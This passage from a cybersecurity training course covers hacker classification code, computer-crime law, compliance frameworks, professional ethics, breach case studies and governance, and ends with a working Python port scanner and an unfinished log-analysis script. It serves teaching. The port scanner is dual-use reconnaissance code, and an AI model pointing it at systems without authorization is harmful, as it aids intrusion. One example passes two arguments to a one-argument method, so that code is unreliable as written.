                decision="Responsible disclosure",
                reasoning="Report through proper channels with reasonable timeframe",
                timestamp=datetime.now().timestamp(),
                consequences=["Vendor notified", "CVE assignment", "Security improvement"]
            ))
            self.reputation_score += 2
    
    def get_vulnerabilities(self, severity: int = None) -> List[Vulnerability]:
        """Get discovered vulnerabilities, optionally filtered by severity"""
        if severity:
            return [v for v in self.vulnerabilities_discovered if v.severity >= severity]
        return self.vulnerabilities_discovered
    
    # =========================================================================
    # DESCRIPTION AND REPORTING
    # =========================================================================
    
    def describe(self) -> None:
        """Describe the hacker"""
        print("\n" + "=" * 60)
        print(f" 🎩 {self.hat_color.value} Hat Hacker: {self.name}")
        print("=" * 60)
        
        print(f"\n 📋 Profile:")
        print(f"    Name: {self.name}")
        print(f"    Hat Color: {self.hat_color.value}")
        print(f"    Status: {'🟢 Active' if self.is_active else '🔴 Inactive'}")
        print(f"    Reputation Score: {self.reputation_score}")
        
        print(f"\n 🎯 Motivations:")
        for motivation in self.motivations:
            print(f"    • {motivation.value}")
        
        print(f"\n 🔧 Actions:")
        for action in self.actions:
            print(f"    • {action.value}")
        
        print(f"\n 📊 Statistics:")
        print(f"    Attacks Performed: {self.attack_count}")
        print(f"    Successful Attacks: {self.success_count}")
        print(f"    Vulnerabilities Found: {self.discovery_count}")
        print(f"    Ethical Decisions: {len(self.ethical_decisions)}")
        
        print(f"\n ⚖️  Ethical Framework:")
        for decision in self.ethical_decisions[-3:]:
            print(f"    • {decision.action}: {decision.decision}")
            print(f"      Reasoning: {decision.reasoning[:50]}...")
        
        print(f"\n 🔥 Recent Attacks:")
        for attack in self.attacks[-3:]:
            status_emoji = "✅" if attack.status == AttackStatus.SUCCESSFUL else "❌"
            print(f"    {status_emoji} {attack.type.value} on {attack.target} ({attack.status.value})")
        
        legality = "✅ Legal" if self.hat_color == HatColor.WHITE else "❌ Illegal" if self.hat_color == HatColor.BLACK else "⚠️ Grey Area"
        print(f"\n 🏛️  Legality: {legality}")
        
        print("=" * 60)
    
    def generate_report(self) -> Dict[str, Any]:
        """Generate comprehensive hacker report"""
        return {
            "name": self.name,
            "hat_color": self.hat_color.value,
            "status": "active" if self.is_active else "inactive",
            "reputation": self.reputation_score,
            "motivations": [m.value for m in self.motivations],
            "actions": [a.value for a in self.actions],
            "statistics": {
                "attacks": self.attack_count,
                "successful": self.success_count,
                "vulnerabilities": self.discovery_count,
                "ethical_decisions": len(self.ethical_decisions)
            },
            "recent_attacks": [
                {
                    "type": a.type.value,
                    "target": a.target,
                    "status": a.status.value,
                    "timestamp": datetime.fromtimestamp(a.timestamp).isoformat()
                }
                for a in self.attacks[-3:]
            ]
        }
    
    # =========================================================================
    # ETHICAL EVALUATION
    # =========================================================================
    
    def evaluate_action(self, action: str) -> Dict:
        """Evaluate if an action is ethical"""
        evaluation = {
            "action": action,
            "is_ethical": False,
            "category": "unknown",
            "hat_color": self.hat_color.value,
            "recommendation": "Proceed with caution"
        }
        
        # Evaluate based on hat color
        if self.hat_color == HatColor.WHITE:
            if "permission" in action.lower() or "authorization" in action.lower():
                evaluation["is_ethical"] = True
                evaluation["category"] = "ethical"
                evaluation["recommendation"] = "Approved - With authorization"
            elif "disclosure" in action.lower():
                evaluation["is_ethical"] = True
                evaluation["category"] = "ethical"
                evaluation["recommendation"] = "Approved - Responsible disclosure"
            else:
                evaluation["is_ethical"] = False
                evaluation["category"] = "unethical"
                evaluation["recommendation"] = "Needs authorization"
                
        elif self.hat_color == HatColor.BLACK:
            if "theft" in action.lower() or "exploit" in action.lower():
                evaluation["is_ethical"] = False
                evaluation["category"] = "unethical"
                evaluation["recommendation"] = "Not approved - Illegal"
            else:
                evaluation["is_ethical"] = False
                evaluation["category"] = "unethical"
                evaluation["recommendation"] = "Not approved"
                
        else:  # Grey hat
            if "test" in action.lower() or "research" in action.lower():
                evaluation["is_ethical"] = True
                evaluation["category"] = "ethical"
                evaluation["recommendation"] = "Proceed with responsibility"
            else:
                evaluation["is_ethical"] = False
                evaluation["category"] = "grey_area"
                evaluation["recommendation"] = "Consider implications"
        
        return evaluation

# ============================================================================
# HACKER FACTORY
# ============================================================================

class HackerFactory:
    """Factory for creating hacker instances"""
    
    @staticmethod
    def create_white_hat(name: str) -> Hacker:
        """Create a white hat hacker"""
        return Hacker(
            name=name,
            hat_color=HatColor.WHITE,
            motivations=[
                Motivation.IMPROVE_SECURITY,
                Motivation.PROFESSIONAL_DEVELOPMENT
            ],
            actions=[
                AttackType.PENETRATION_TESTING,
                AttackType.VULNERABILITY_DISCLOSURE,
                AttackType.SECURITY_RESEARCH
            ]
        )
    
    @staticmethod
    def create_black_hat(name: str) -> Hacker:
        """Create a black hat hacker"""
        return Hacker(
            name=name,
            hat_color=HatColor.BLACK,
            motivations=[
                Motivation.FINANCIAL_GAIN,
                Motivation.ESPIONAGE
            ],
            actions=[
                AttackType.DATA_THEFT,
                AttackType.RANSOMWARE,
                AttackType.IDENTITY_THEFT
            ]
        )
    
    @staticmethod
    def create_grey_hat(name: str) -> Hacker:
        """Create a grey hat hacker"""
        return Hacker(
            name=name,
            hat_color=HatColor.GREY,
            motivations=[
                Motivation.CURIOSITY,
                Motivation.CHALLENGE,
                Motivation.RECOGNITION
            ],
            actions=[
                AttackType.PENETRATION_TESTING,
                AttackType.VULNERABILITY_DISCLOSURE,
                AttackType.SECURITY_RESEARCH
            ]
        )
    
    @staticmethod
    def create_blue_hat(name: str) -> Hacker:
        """Create a blue hat hacker (external security consultant)"""
        return Hacker(
            name=name,
            hat_color=HatColor.BLUE,
            motivations=[
                Motivation.IMPROVE_SECURITY,
                Motivation.PROFESSIONAL_DEVELOPMENT
            ],
            actions=[
                AttackType.PENETRATION_TESTING,
                AttackType.SECURITY_RESEARCH
            ]
        )

# ============================================================================
# DEMONSTRATION
# ============================================================================

def hacker_demo():
    """Demonstrate hacker classification and behavior"""
    
    print("=" * 60)
    print(" 🎩 HACKER CLASSIFICATION DEMONSTRATION")
    print("=" * 60)
    
    # Create hackers using factory
    print("\n 🏭 Creating Hackers...")
    
    white_hat = HackerFactory.create_white_hat("Security Researcher")
    black_hat = HackerFactory.create_black_hat("Cyber Criminal")
    grey_hat = HackerFactory.create_grey_hat("Security Enthusiast")
    blue_hat = HackerFactory.create_blue_hat("Security Consultant")
    
    # Display descriptions
    print("\n 📝 Hacker Profiles:")
    white_hat.describe()
    black_hat.describe()
    grey_hat.describe()
    blue_hat.describe()
    
    # Test attack scenarios
    print("\n\n 🔥 Attack Scenarios:")
    print("-" * 60)
    
    print("\n 1. White Hat - Legitimate Testing:")
    white_hat.perform_attack("bank.com", AttackType.PENETRATION_TESTING, permission=True)
    
    print("\n 2. White Hat - Without Permission:")
    white_hat.perform_attack("bank.com", AttackType.SECURITY_RESEARCH, permission=False)
    
    print("\n 3. Black Hat - Malicious Attack:")
    black_hat.perform_attack("bank.com", AttackType.DATA_THEFT)
    
    print("\n 4. Grey Hat - Ambiguous Testing:")
    grey_hat.perform_attack("bank.com", AttackType.VULNERABILITY_DISCLOSURE, permission=False)
    
    print("\n 5. Grey Hat - With Permission:")
    grey_hat.perform_attack("bank.com", AttackType.PENETRATION_TESTING, permission=True)
    
    # Discover vulnerabilities
    print("\n\n 🔍 Vulnerability Discovery:")
    print("-" * 60)
    
    white_hat.discover_vulnerability(
        "SQL Injection in Login",
        8,
        "SQL injection vulnerability in login form allowing unauthorized access",
        "bank.com/login"
    )
    
    black_hat.discover_vulnerability(
        "Remote Code Execution",
        10,
        "Critical RCE vulnerability in web server",
        "bank.com/web-server"
    )
    
    grey_hat.discover_vulnerability(
        "Cross-Site Scripting (XSS)",
        6,
        "Reflected XSS vulnerability in search functionality",
        "bank.com/search"
    )
    
    # Evaluate actions
    print("\n\n ⚖️  Ethical Evaluations:")
    print("-" * 60)
    
    actions = [
        "Testing with written authorization",
        "Testing without permission",
        "Using hacking skills to steal data",
        "Responsible vulnerability disclosure"
    ]
    
    for action in actions:
        evaluation = grey_hat.evaluate_action(action)
        symbol = "✅" if evaluation["is_ethical"] else "❌"
        print(f"\n  {symbol} {action}")
        print(f"    Category: {evaluation['category']}")
        print(f"    Recommendation: {evaluation['recommendation']}")
    
    # Generate reports
    print("\n\n 📊 Hacker Reports:")
    print("-" * 60)
    
    for hacker in [white_hat, black_hat, grey_hat, blue_hat]:
        report = hacker.generate_report()
        print(f"\n  {report['name']} ({report['hat_color']} Hat):")
        print(f"    Attacks: {report['statistics']['attacks']}")
        print(f"    Success Rate: {report['statistics']['successful']/max(1, report['statistics']['attacks'])*100:.1f}%")
        print(f"    Vulnerabilities: {report['statistics']['vulnerabilities']}")
        print(f"    Reputation: {report['reputation']}")
    
    print("\n" + "=" * 60)
    print(" ✅ HACKER CLASSIFICATION DEMONSTRATION COMPLETE")
    print("=" * 60)

if __name__ == "__main__":
    hacker_demo()

1.1.7 Laws and Compliance Frameworks

Understanding the law is not optional in cybersecurity. It is a prerequisite. The tools you will learn can be used for entirely legitimate purposes or for serious crimes, often with nothing more than a change of target. You must know exactly where the legal boundary is.

The Computer Misuse Act 1990 (United Kingdom):

  • Section 1: Unauthorized access to any computer system is a criminal offence
  • Section 2: Unauthorized access with intent to commit further offences (e.g., stealing financial data) carries a heavier sentence
  • Section 3: Unauthorized modification of computer material (deploying malware, deleting data) carries the heaviest penalties
  • Applies to actions taken from within the UK or against UK systems regardless of where the attacker is located

The Computer Fraud and Abuse Act (United States):

  • Primary federal law governing computer crime in the US
  • It prohibits unauthorized access to computer systems or exceeding the access permissions granted to an authorized user.
  • Violations can result in penalties ranging from financial fines to lengthy prison sentences.
  • Many security professionals have been prosecuted under this law

The General Data Protection Regulation (GDPR): European Union Data Protection and Privacy Regulation

  • Regulates how personal data is collected, stored, processed, shared, and protected.
  • Applies to any organization that handles personal data of EU citizens, regardless of location
  • Requires personal data be protected with appropriate technical security measures
  • Data breaches must be reported to regulators within 72 hours of discovery
  • Fines for serious violations can reach 20 million euros or 4% of global annual turnover

ISO/IEC 27001:

  • An international standard for establishing, implementing, maintaining, and continually improving an Information Security Management System (ISMS).
  • Specifies requirements for establishing, implementing, maintaining, and improving security
  • Organizations can be certified against this standard
  • Demonstrates to clients and partners that an organization takes information security seriously and follows established security practices.

PCI-DSS (Payment Card Industry Data Security Standard):

  • Set of security requirements for organizations processing, storing, or transmitting credit card data
  • Developed by major card networks (Visa, Mastercard, American Express, Discover, JCB)
  • Covers network security architecture, access control, encryption, and regular security testing
  • Non-compliance can lead to financial penalties, higher transaction costs, or the loss of card-processing privileges.
class ComplianceFramework:
    def __init__(self, name, region, focus_area):
        self.name = name
        self.region = region
        self.focus_area = focus_area
        self.requirements = []

    def add_requirement(self, description):
        self.requirements.append(description)

    def display(self):
        print(f"\n=== {self.name} ===")
        print(f"Region: {self.region}")
        print(f"Focus: {self.focus_area}")
        print("Key Requirements:")
        for req in self.requirements:
            print(f"  - {req}")

# Create frameworks
gdpr = ComplianceFramework("GDPR", "European Union", "Data Privacy")
gdpr.add_requirement("Personal data protection")
gdpr.add_requirement("72-hour breach notification")
gdpr.add_requirement("Data subject rights (access, deletion, portability)")
gdpr.add_requirement("Data Protection Impact Assessments")

pci = ComplianceFramework("PCI-DSS", "Global", "Payment Card Security")
pci.add_requirement("Install and maintain firewall configurations")
pci.add_requirement("Encrypt transmission of cardholder data")
pci.add_requirement("Regular security testing and monitoring")
pci.add_requirement("Maintain vulnerability management programs")

hipaa = ComplianceFramework("HIPAA", "United States", "Healthcare Data")
hipaa.add_requirement("Privacy Rule (patient rights)")
hipaa.add_requirement("Security Rule (administrative, physical, technical safeguards)")
hipaa.add_requirement("Breach notification requirements")

gdpr.display()
pci.display()
hipaa.display()

print("\n=== Why Compliance Matters ===")
print("✅ Protects customer data")
print("✅ Prevents legal liability")
print("✅ Builds trust and reputation")
print("✅ Avoids heavy fines")
print("✅ Creates accountability")

The rules that cannot be broken. The technical skills you develop are dual-use. Every tool, every technique, every piece of knowledge can be applied constructively or destructively. The difference between a penetration tester earning a six-figure salary and a criminal facing a prison sentence is not skill level. It is ethics and authorization.

The Ethical Framework of Professional Security Work Rests on Three Principles:

1. Permission is Absolute:

  • You do not test a system, scan a network, attempt to exploit a vulnerability, or run any tool against any target unless you have explicit, documented, written authorization
  • Verbal permission is not sufficient
  • An email that says “go ahead and test it” is not a professional engagement agreement
  • A proper authorization document defines the scope of testing, which systems may be tested, which methods may be used, which times testing may occur, and who the authorized tester is
  • Anything outside that scope is unauthorized access, regardless of what the client may have said informally

Core Rule: Never test or hack anything without permission.

Correct Mindset: Learn skills, use them legally, always get permission.

Safe Practice: Use legal platforms: TryHackMe, Hack The Box.

Example of Illegal Action: Scanning someone else’s website without permission, trying passwords on others’ accounts.

2. Operate Within the Defined Scope:

  • During a penetration test, you may discover a vulnerability that leads you toward a system that was not included in the authorization
  • You stop. You document the finding and report it to the client
  • You do not follow the vulnerability into unauthorized territory simply because you technically could

3. Protect the Data You Encounter:

  • During a penetration test, you will inevitably encounter real data — employee records, customer information, financial data
  • You do not read it beyond what is necessary to demonstrate the vulnerability
  • You do not copy it. You do not retain it
  • You report the finding to the client and secure the engagement documentation appropriately

Why These Rules Exist: The reason these rules exist is not merely legal self-protection. They exist because the security profession depends on trust. An organization that hires a penetration tester is placing enormous trust in that person. They are essentially inviting someone into their most sensitive systems. The moment that trust is violated, it harms not only the individual who violated it but every security professional who comes after them.

class EthicalGuidelines:
    def __init__(self):
        self.principles = []

    def add_principle(self, name, description, examples):
        self.principles.append({
            'name': name,
            'description': description,
            'examples': examples
        })

    def display(self):
        print("\n=== Ethical Guidelines for Security Professionals ===\n")
        for principle in self.principles:
            print(f"** {principle['name']} **")
            print(f"  {principle['description']}")
            print("  Examples:")
            for example in principle['examples']:
                print(f"    - {example}")
            print()

class EthicalDecision:
    def __init__(self, scenario, ethical, reasoning):
        self.scenario = scenario
        self.ethical = ethical
        self.reasoning = reasoning

    def display(self):
        status = "✅ Ethical" if self.ethical else "❌ Unethical"
        print(f"Scenario: {self.scenario}")
        print(f"Status: {status}")
        print(f"Reasoning: {self.reasoning}")
        print()

# Create guidelines
ethics = EthicalGuidelines()
ethics.add_principle(
    "Obtain Authorization",
    "Always get explicit, written permission before testing any system",
    ["Getting a signed contract before a penetration test",
     "Only testing systems specified in the scope document",
     "Not scanning systems without permission"]
)

ethics.add_principle(
    "Respect Privacy",
    "Protect data you encounter and only access what is necessary",
    ["Not reading beyond what's needed for the vulnerability",
     "Not copying or retaining customer data",
     "Securing all engagement documentation"]
)

ethics.add_principle(
    "Be Transparent",
    "Be honest about findings, capabilities, and limitations",
    ["Reporting all vulnerabilities found",
     "Not exaggerating severity of findings",
     "Clearly communicating risks and impacts"]
)

ethics.display()

# Decision examples
print("=== Ethical Decision Scenarios ===\n")

decision1 = EthicalDecision(
    "You find a vulnerability in a system not in the scope but that could lead to severe compromise",
    False,
    "Testing outside the agreed scope violates authorization, even if you find something important"
)

decision2 = EthicalDecision(
    "You discover a vulnerability in a client's system and report it immediately with clear remediation steps",
    True,
    "Following proper disclosure procedures maintains trust and helps the client secure their system"
)

decision1.display()
decision2.display()

1.1.9 Studying Real-World Breaches

One of the most effective ways to develop security intuition is by studying real-world incidents. Unlike abstract theory, case studies of actual breaches show exactly what happened, which vulnerabilities were exploited, which CIA Triad principles were violated, and what the consequences were.

Example: Target Breach (2013)

The Target data breach is one of the most analyzed incidents in retail security history.

What Happened:

  • Attackers did not access Target directly; instead, they exploited a third-party HVAC contractor with legitimate access to Target’s billing and project management portal
  • From this initial entry, attackers moved laterally through the network until they reached point-of-sale (POS) systems
  • They installed malware that captured credit and debit card data in memory at the moment of transaction, before encryption
  • Approximately 40 million card numbers were stolen over several weeks before detection

Impact:

  • Confidentiality was violated
  • Severe reputational damage
  • The CISO and CEO were replaced
  • The company paid hundreds of millions in settlements

Key Lessons:

  1. The initial vulnerability was human and procedural, not purely technical
  2. Excessive access privileges for trusted third parties created the path for the attack
  3. Malware targeted data at its weakest point (in-memory during transactions)
  4. Detection delays allowed prolonged data theft
  5. Proper security controls could have prevented or limited the damage

Other Notable Breaches to Study:

BreachYearKey Lessons
Equifax2017Unpatched vulnerabilities, delayed disclosure
Yahoo2013-2014Weak password policies, slow detection
Colonial Pipeline2021Ransomware, critical infrastructure
SolarWinds2020Supply chain compromise, nation-state
Capital One2019Cloud misconfiguration, SSRF

When learning from real incidents, ask these three core questions:

  1. Which part of the CIA Triad was violated?
  2. How did the attacker initially gain access?
  3. Which security control could have prevented or mitigated the attack?
class BreachAnalysis:
    def __init__(self, name, year, sector):
        self.name = name
        self.year = year
        self.sector = sector
        self.cia_violated = []
        self.attack_vector = ""
        self.failed_controls = []
        self.key_lessons = []
        self.impact = ""

    def add_cia_violation(self, aspect):
        self.cia_violated.append(aspect)

    def set_attack_vector(self, vector):
        self.attack_vector = vector

    def add_failed_control(self, control):
        self.failed_controls.append(control)

    def add_key_lesson(self, lesson):
        self.key_lessons.append(lesson)

    def set_impact(self, impact):
        self.impact = impact

    def display(self):
        print(f"\n=== {self.name} ({self.year}) ===")
        print(f"Sector: {self.sector}")
        print(f"Impact: {self.impact}")
        print(f"CIA Violated: {', '.join(self.cia_violated)}")
        print(f"Attack Vector: {self.attack_vector}")
        print("Failed Controls:")
        for control in self.failed_controls:
            print(f"  - {control}")
        print("Key Lessons:")
        for lesson in self.key_lessons:
            print(f"  - {lesson}")

# Example analysis
target = BreachAnalysis("Target Breach", 2013, "Retail")
target.add_cia_violation("Confidentiality")
target.set_attack_vector("Third-party vendor compromise (HVAC contractor)")
target.add_failed_control("Third-party access management")
target.add_failed_control("Network segmentation")
target.add_failed_control("Point-of-sale security")
target.add_failed_control("Monitoring and detection")
target.add_key_lesson("Third-party vendors must be secured")
target.add_key_lesson("Excessive privileges enable lateral movement")
target.add_key_lesson("Data should be encrypted at the point of capture")
target.add_key_lesson("Early detection saves millions")
target.set_impact("40 million credit cards stolen, $18.5M settlement")

equifax = BreachAnalysis("Equifax Breach", 2017, "Credit Reporting")
equifax.add_cia_violation("Confidentiality", "Integrity")
equifax.set_attack_vector("Unpatched Apache Struts vulnerability")
equifax.add_failed_control("Patch management")
equifax.add_failed_control("Vulnerability scanning")
equifax.add_failed_control("Incident response")
equifax.add_key_lesson("Patch known vulnerabilities immediately")
equifax.add_key_lesson("Have a working incident response plan")
equifax.set_impact("147 million personal records exposed, $700M settlement")

target.display()
equifax.display()

1.1.10 Security Frameworks & Standards

Security frameworks provide structured approaches to managing and improving security. They offer guidance on what controls to implement, how to assess risk, and how to measure security effectiveness.

NIST CSF (Cybersecurity Framework):

  • Developed by the US National Institute of Standards and Technology
  • Five core functions: Identify, Protect, Detect, Respond, Recover
  • Implementation tiers from 1 (Partial) to 4 (Adaptive)
  • Profiles map current and target security postures
  • Widely adopted across industries

ISO 27001 (Information Security Management):

  • International standard for Information Security Management Systems (ISMS)
  • Annex A contains 114 security controls across 14 domains
  • Certification process involves external audits
  • Demonstrates commitment to security
  • Covers risk management, security policies, and continuous improvement

SOC 2 (Service Organization Control):

  • Developed by the American Institute of CPAs
  • Trust Service Criteria (TSC): Security, Availability, Processing Integrity, Confidentiality, Privacy
  • Type I: Design of controls at a point in time
  • Type II: Operating effectiveness over a period (usually 6-12 months)
  • Primarily for cloud service providers and SaaS companies

COBIT (Control Objectives for Information Technologies):

  • Developed by ISACA
  • Framework for IT governance and management
  • Maps IT goals to business goals
  • Provides maturity models and performance metrics
class SecurityFramework:
    def __init__(self, name, description, use_cases):
        self.name = name
        self.description = description
        self.use_cases = use_cases
        self.components = []

    def add_component(self, component):
        self.components.append(component)

    def display(self):
        print(f"\n=== {self.name} ===")
        print(f"Description: {self.description}")
        print(f"Use Cases: {', '.join(self.use_cases)}")
        print("Components:")
        for component in self.components:
            print(f"  - {component}")

# Create frameworks
nist = SecurityFramework("NIST CSF", "Cybersecurity framework with 5 core functions", 
                        ["Government agencies", "Critical infrastructure", "Private sector"])
nist.add_component("Identify - Understand the organization's environment")
nist.add_component("Protect - Implement safeguards to ensure delivery of critical services")
nist.add_component("Detect - Identify cybersecurity events")
nist.add_component("Respond - Take action regarding detected incidents")
nist.add_component("Recover - Maintain resilience and restore capabilities")

iso27001 = SecurityFramework("ISO 27001", "International standard for ISMS", 
                            ["Any organization seeking certification", "Global companies", "Regulated industries"])
iso27001.add_component("Information Security Management System")
iso27001.add_component("Risk assessment and treatment")
iso27001.add_component("Annex A controls (114 controls across 14 domains)")
iso27001.add_component("Continual improvement")
iso27001.add_component("Third-party certification")

soc2 = SecurityFramework("SOC 2", "Trust Service Criteria for service organizations", 
                        ["SaaS providers", "Cloud service providers", "Tech companies"])
soc2.add_component("Security - Protection against unauthorized access")
soc2.add_component("Availability - System is available for operation and use")
soc2.add_component("Processing Integrity - System processing is complete, valid, accurate")
soc2.add_component("Confidentiality - Information is protected")
soc2.add_component("Privacy - Personal information is collected, used, and disclosed appropriately")

nist.display()
iso27001.display()
soc2.display()

1.1.11 Security Governance

Security governance ensures that security activities align with business objectives and that there is accountability for security outcomes. It answers the questions: “Who is responsible for security?” and “How do we know we are secure?”

Security Policies and Procedures:

  • Policies: High-level documents that define security principles and expectations
  • Standards: Specific technical requirements (e.g., password length, encryption standards)
  • Procedures: Step-by-step instructions for implementing policies
  • Guidelines: Recommendations, not mandatory, for best practices

Security Awareness Programs:

  • Training employees on security best practices
  • Phishing simulations to test and improve awareness
  • Regular communication about emerging threats
  • Creating a security-conscious culture

Security Metrics and Reporting:

  • Key Performance Indicators (KPIs): How well security is operating
  • Key Risk Indicators (KRIs): How much risk the organization is exposed to
  • Vulnerability metrics: Number of vulnerabilities, remediation time
  • Incident metrics: Number, severity, response time

Board-Level Security Governance:

  • Security is a business risk, not just an IT issue
  • Board and executive management should receive regular security updates
  • Security strategy should align with business strategy
  • Security budget should be proportionate to risk
class SecurityGovernance:
    def __init__(self, organization_name):
        self.organization_name = organization_name
        self.policies = []
        self.metrics = []
        self.staff_training = []

    def add_policy(self, policy_name, description, status="Draft"):
        self.policies.append({
            'name': policy_name,
            'description': description,
            'status': status
        })

    def add_metric(self, metric_name, target, current_value):
        self.metrics.append({
            'name': metric_name,
            'target': target,
            'current': current_value
        })

    def add_training(self, program, completed_count, total_count):
        self.staff_training.append({
            'program': program,
            'completed': completed_count,
            'total': total_count
        })

    def report_status(self):
        print(f"\n=== Security Governance Report: {self.organization_name} ===\n")

        print("📋 POLICIES")
        for policy in self.policies:
            status_icon = "✅" if policy['status'] == "Approved" else "🔄"
            print(f"  {status_icon} {policy['name']}: {policy['description']} ({policy['status']})")

        print("\n📊 METRICS")
        for metric in self.metrics:
            status = "✅" if metric['current'] >= metric['target'] else "⚠️"
            print(f"  {status} {metric['name']}: {metric['current']} (Target: {metric['target']})")

        print("\n🎓 TRAINING")
        for training in self.staff_training:
            pct = (training['completed'] / training['total'] * 100) if training['total'] > 0 else 0
            print(f"  {training['program']}: {training['completed']}/{training['total']} ({pct:.1f}%)")

# Example
governance = SecurityGovernance("ABC Corporation")

# Add policies
governance.add_policy("Access Control Policy", "Define user access requirements", "Approved")
governance.add_policy("Password Policy", "Password complexity and rotation requirements", "Approved")
governance.add_policy("Incident Response Plan", "Procedures for handling security incidents", "Draft")
governance.add_policy("Data Classification Policy", "How to classify and protect data", "Approved")

# Add metrics
governance.add_metric("Vulnerability Remediation Time", 30, 45)
governance.add_metric("Security Awareness Training Completion", 95, 88)
governance.add_metric("Incident Response Time", 4, 6)

# Add training
governance.add_training("Annual Security Awareness", 420, 500)
governance.add_training("Phishing Simulation", 380, 500)

governance.report_status()

You have now completed Phase 1: Information Security Fundamentals.

You have learned:

TopicKey Concepts
What is Information SecurityProtecting data from unauthorized access, modification, or destruction
CIA TriadConfidentiality, Integrity, Availability
AAA FrameworkAuthentication, Authorization, Accounting
Zero TrustNever trust, always verify
Ethical HackingLegal testing with authorization
Hacker TypesWhite Hat, Black Hat, Grey Hat
Laws & ComplianceGDPR, HIPAA, PCI-DSS, SOX, FISMA
EthicsPermission, scope, data protection
Real-World BreachesTarget, Equifax, SolarWinds, Colonial Pipeline
Security FrameworksNIST CSF, ISO 27001, SOC 2
Security GovernancePolicies, metrics, training

Key Skills Developed:

  • Understanding the CIA Triad and its application
  • Differentiating between types of hackers
  • Knowing legal boundaries and compliance requirements
  • Understanding ethical responsibilities
  • Analyzing security incidents

Practical Experience Gained:

  • File protection techniques
  • Hash verification for integrity
  • Authentication and authorization concepts
  • Zero Trust implementation principles
  • Breach analysis methodology

PHASE 2: CORE TECHNICAL FOUNDATIONS

2.1 Networking & Protocols

Why Learn Networking First?

If you want to move into Information Security, Cybersecurity, Cloud, DevOps, System Administration, or advanced IT, Networking should be one of your first major foundations. It teaches you how computers, servers, applications, and network devices communicate, how data moves between systems, and where communication can be monitored, disrupted, or protected. A strong networking foundation allows you to understand security attacks and defenses from the network level instead of simply memorizing tools and techniques. Follow these core areas in order:

  • 2.1.1 OSI Model (7 Layers): Application Layer, Presentation Layer, Session Layer, Transport Layer, Network Layer, Data Link Layer, Physical Layer
  • 2.1.2 TCP/IP Model: Application Layer, Transport Layer, Internet Layer, Network Access Layer
  • 2.1.3 Network Protocols (Deep Dive): DNS (Domain Name System), HTTP/HTTPS, IP Addressing & Subnetting, ARP (Address Resolution Protocol), DHCP (Dynamic Host Configuration Protocol), ICMP (Internet Control Message Protocol), SNMP (Simple Network Management Protocol), SSH (Secure Shell), FTP/SFTP
  • 2.1.4 Packet Analysis: Wireshark, Tcpdump, Tshark

By completing these areas, you will be able to understand network architecture, communication protocols, IP-based communication, packet flow, network troubleshooting, and traffic analysis—giving you the foundation needed to progress confidently into Information Security and other advanced technology fields.

2.2 Operating Systems & Command Line

Why Learn Operating Systems & Command Line?

If you want to work in Information Security, Cybersecurity, Cloud, DevOps, System Administration, or infrastructure, understanding Operating Systems is just as important as Networking. Security professionals need to understand how operating systems manage files, users, permissions, processes, services, logs, applications, and system resources, because these are the components attackers target and defenders must protect. You should become comfortable working with both Linux and Windows environments, including their administration tools, security controls, logs, and command-line interfaces. Follow these core areas in order:

  • 2.2.1 Linux Administration: Linux File System Structure, Linux Permissions & Ownership, System Logs, Process Management, User & Group Management, Services & Daemons, Package Management, Firewall (iptables, nftables, ufw), SSH Configuration & Hardening, Cron & Scheduled Tasks
  • 2.2.2 Windows Internals: Active Directory, PowerShell, Windows Registry, Windows Event Logs, NTFS Permissions

By mastering these areas, you will be able to navigate and administer systems, understand how applications and services operate, investigate system activity, manage access and permissions, analyze logs, configure security controls, and recognize how attackers can abuse operating-system features. This foundation is essential before progressing into deeper Information Security and Cybersecurity topics.

2.3 Programming & Automation

2.3.1 Python for Security (Most Important Language)

Python is the most important programming language for security professionals. It is powerful, easy to learn, and has extensive libraries for security tasks.

Why Python for Security:

ReasonDescription
Easy to LearnSimple syntax, readable code
Powerful LibrariesScapy, Requests, Paramiko, BeautifulSoup
Cross-PlatformRuns on Windows, Linux, macOS
Rapid DevelopmentQuick prototyping and scripting
Large CommunityExtensive documentation and support
Security-FocusedMany tools built in Python

Python Port Scanner

A port scanner identifies open ports on a target system. This is a fundamental reconnaissance tool.

#!/usr/bin/env python3
"""
Simple Port Scanner for Security Testing
Usage: python3 port_scanner.py <target_ip> [start_port] [end_port]
"""

import socket
import sys
from datetime import datetime

def scan_port(host, port):
    """
    Attempt to connect to a port on the target host.
    Returns True if the port is open, False otherwise.
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)  # 1 second timeout
        result = sock.connect_ex((host, port))
        sock.close()
        return result == 0  # 0 indicates success
    except Exception as e:
        print(f"Error scanning port {port}: {e}")
        return False

def get_service_name(port):
    """Attempt to get service name for a port."""
    try:
        return socket.getservbyport(port)
    except:
        return "unknown"

def main():
    # Check arguments
    if len(sys.argv) < 2:
        print("Usage: python3 port_scanner.py <target_ip> [start_port] [end_port]")
        print("Example: python3 port_scanner.py 192.168.1.1 1 1024")
        sys.exit(1)

    target = sys.argv[1]
    start_port = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    end_port = int(sys.argv[3]) if len(sys.argv) > 3 else 1024

    print(f"""
=== Port Scanner ===
Target: {target}
Port Range: {start_port}-{end_port}
Start Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
""")

    open_ports = []

    for port in range(start_port, end_port + 1):
        if scan_port(target, port):
            service = get_service_name(port)
            print(f"Port {port}/tcp  OPEN   ({service})")
            open_ports.append((port, service))

    print(f"\n=== Scan Complete ===")
    print(f"Found {len(open_ports)} open ports")
    print(f"End Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")

    if open_ports:
        print("\nOpen Ports Summary:")
        for port, service in open_ports:
            print(f"  {port}: {service}")

if __name__ == "__main__":
    main()

Log Analysis with Python

Log analysis helps identify suspicious activity and security incidents.

#!/usr/bin/env python3
"""
Authentication Log Analysis
Identifies failed login attempts and potential brute force attacks.
"""

import re
from collections import Counter
import sys

def parse_auth_log(log_file):
    """
    Parse authentication log for failed login attempts.
    Returns a Counter of IP addresses.
    """
    failed_attempts = []

    # Pattern for failed password attempts
    pattern = r"Failed password for .+ from (\d+\.\d+\.\d+\.\d+)"

    try:
        with open(log_file, 'r') as f:
            for line in f:
                match = re.search(pattern, line)
                if match:
                    failed_attempts.append(match.group(1))
    except FileNotFoundError:
        print(f"Error: Log file '{log_file}' not found")
        print("Try: /var/log/auth.log (Linux) or /var/log/secure (RHEL)")
        sys.exit(1)

    return Counter(failed_attempts)

def analyse_failed_attempts(counter, threshold=5):
    """
    Analyse the counter and identify potential attacks.
    """
    print("\n=== Failed Login Attempts Analysis ===\n")

    total_failures = sum(counter.values())
    unique_ips = len(counter)

    print(f"Total Failed Attempts: {total_failures}")
